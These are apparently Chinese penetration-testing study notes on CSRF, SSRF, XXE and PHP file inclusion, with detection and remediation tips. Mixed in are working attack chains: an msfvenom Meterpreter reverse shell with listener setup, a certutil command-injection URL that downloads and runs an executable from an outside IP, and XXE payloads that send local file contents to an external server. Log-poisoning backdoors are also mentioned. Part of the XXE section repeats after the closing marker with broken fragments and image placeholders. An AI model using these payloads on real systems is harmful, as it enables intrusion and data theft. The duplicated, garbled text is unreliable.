Click Attack” 或 “Session Riding”,通常缩写为 CSRF 或者 XSRF,是一种对网
站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但
自己的 qq 号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义
伪造请求,执行恶意操作,具有很大的危害性。
CSRF 的攻击过程两个条件:
1、目标用户已经登录了网站,能够执行网站的功能。
2、目标用户访问了攻击者构造的 URL。
CSRF 安全问题黑盒怎么判断:
1、看验证来源不-修复
2、看凭据有无 token–修复
3、看关键操作有无验证-修复
-CSRF 安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看
CSRF2特性挖掘审计
1.直接复现有没有
成功->有漏洞
失败->代码->缺陷过滤(绕过)->有漏洞失败->代码->完整过滤->没有漏洞
来源检测:
1、伪造-需要在代码数据包文件固定来源
2、尝试在网站寻找可上传地方,上传数据包文件,取得当前同域名访问地址
其他漏洞:
关键函数和应用功能
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离
的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。
SSRF-原理&服务&协议&内网&漏洞
-参考文章: https://www.t00ls.cc/articles-41070.html
-案例说明:小迪在本地创建了远程图片文件加载应用, 直接被攻击者利用 SSRF 探针本
地及内网服务,并利用某漏洞直接获取到内网某主机的权限!
1、服务探针:
http://127.0.0.1:8081/
http://127.0.0.1:3306/
2、协议玩法:(更多玩法见上图)
file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21
![image-20240422211915643](photos/image-20240422211915643.png)
3、内网扫描:
http://192.168.46.148:8080
4、漏洞利用:
-生成:
msfvenom -p windows/meterpreter/reverse_http LHOST=112.124.28.157 LPORT=6688 -f exe -o xx.exe
-监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 6688
run
-下载:
http://192.168.46.148:8080/?search==%00{.exec|cmd.exe%20/c%20certutil%20-urlcache%20-split%20-f%20http://47.94.236.117/xx.exe.}
-执行:
http://192.168.46.148:8080/?search==%00{.exec|xx.exe.}
#SSRF-某实际案例测试演示(功能点)
基于上述的 SSRF 的漏洞原理,漏洞探针开展黑盒思路分析
SSRF 黑盒可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下
载图片
5.图片/文章收藏功能:主要其会取 URL 地址中 title 以及文本的内容作为显示以求一
个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的
信息,就可以进行 ssrf 测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的 url 进行一些信息采集工作
XML
#知识点:
1、 XML&XXE-原理&发现&利用&修复等
2、 XML&XXE-黑盒模式下的发现与利用
3、 XML&XXE-白盒模式下的审计与利用
4、 XML&XXE-无回显&伪协议&产生层面
#思路点:
参考: https://www.cnblogs.com/20175211lyz/p/11413335.html
XML&XXE-原理&发现&利用&修复等详细点:
XML 被设计为传输和存储数据, XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞, XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
1.1、带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://c2ic3a.ceye.io">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8080/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/e.txt">
3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://112.124.28.157/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
或
'''<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % dtd SYSTEM "http://112.124.28.157/test.dtd">
%dtd;
%send;
]>
'''
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://112.124.28.157/get.php?file=%file;'>">
4、其他玩法(协议)-见参考地址
XML&XXE-原理&发现&利用&修复等
XXE 黑盒发现:
1、获取得到 Content-Type 或数据类型为 xml 时,尝试进行 xml 语言 payload 进行测试
2、不管获取的 Content-Type 类型或数据传输类型,均可尝试修改为xml后提交测试 xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成
文件中的XXE Payload被执行
测试链接:http://web.jarvisoj.com:9882
Content-Type 类型修改为xml后提交测试 xxe
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>
XXE 白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
百度搜索php xml的解析函数比如
simplexml_load_string
看谁调用了
看谁调用了
去访问这个路径
XXE修复防御方案:
-方案1-禁用外部实体PHP:
libxml_disable_entity_loader(true);
JAVA:DocumentBuilderFactory dbf
=DocumentBuilderFactory.newlnstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData=
etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-方案2-过滤用户提交的XML数据
过滤关键词:<IDOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
文件包含
参考payload网站:https://segmentfault.com/a/1190000018991087
除了参考文章的用法,另外data://
思路
dataphp http
file zip等
路径不知道
flag.php过滤了
system('tac flag.*")调用系统命令可以用*
改掉UA头,写上后门代码,日志里有访问记录
有文件上传的地方:
没有文件上传漏洞(上传后门文件)、没有解析漏洞(用其他后缀上传后门文件)、只能文件包含玩法(上传的是正常文件)
没有文件上传的地方:
没有文件上传,借助日志写入(UA),session文件写入
session默认记录路径:
Linux:
/tmp或/var/lib/php/session
Windows:
C\WINDOWS\Temp
PHP包含文件小总结
https://zhuanlan.zhihu.com/p/371090018
End
">
%dtd;
%send;
]>
‘’’
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://112.124.28.157/get.php?file=%file;'>">4、其他玩法(协议)-见参考地址
XML&XXE-原理&发现&利用&修复等
### XXE 黑盒发现:
1、获取得到 Content-Type 或数据类型为 xml 时,尝试进行 xml 语言 payload 进行测试
2、不管获取的 Content-Type 类型或数据传输类型,均可尝试修改为xml后提交测试 xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成
文件中的XXE Payload被执行
测试链接:http://web.jarvisoj.com:9882
```xml-dtd
Content-Type 类型修改为xml后提交测试 xxe
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>
[外链图片转存中…(img-vXS0h5AH-1715090738319)]
XXE 白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
[外链图片转存中…(img-BQDQmtnm-1715090738319)]
[外链图片转存中…(img-c3KMYJEU-1715090738319)]
百度搜索php xml的解析函数比如
simplexml_load_string
[外链图片转存中…(img-D0Ul4x5q-1715090738319)]
看谁调用了
[外链图片转存中…(img-9NwwGaHY-1715090738320)]
看谁调用了
[外链图片转存中…(img-4DWitlju-1715090738320)]
[外链图片转存中…(img-WN5FWSJc-1715090738320)]
去访问这个路径
XXE修复防御方案:
-方案1-禁用外部实体PHP:
libxml_disable_entity_loader(true);
JAVA:DocumentBuilderFactory dbf
=DocumentBuilderFactory.newlnstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData=
etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-方案2-过滤用户提交的XML数据
过滤关键词:<IDOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
文件包含
[外链图片转存中…(img-VRL5wp7u-1715090738320)]
参考payload网站:https://segmentfault.com/a/1190000018991087
除了参考文章的用法,另外data://
[外链图片转存中…(img-Fq3I0djH-1715090738320)]
思路
dataphp http
file zip等
路径不知道
flag.php过滤了
system('tac flag.*")调用系统命令可以用*
改掉UA头,写上后门代码,日志里有访问记录
[外链图片转存中…(img-v1HevHpl-1715090738320)]
[外链图片转存中…(img-S5FLOIvE-1715090738320)]
有文件上传的地方:
没有文件上传漏洞(上传后门文件)、没有解析漏洞(用其他后缀上传后门文件)、只能文件包含玩法(上传的是正常文件)
没有文件上传的地方:
没有文件上传,借助日志写入(UA),session文件写入
session默认记录路径:
Linux:
/tmp或/var/lib/php/session
Windows:
C\WINDOWS\Temp
PHP包含文件小总结
https://zhuanlan.zhihu.com/p/371090018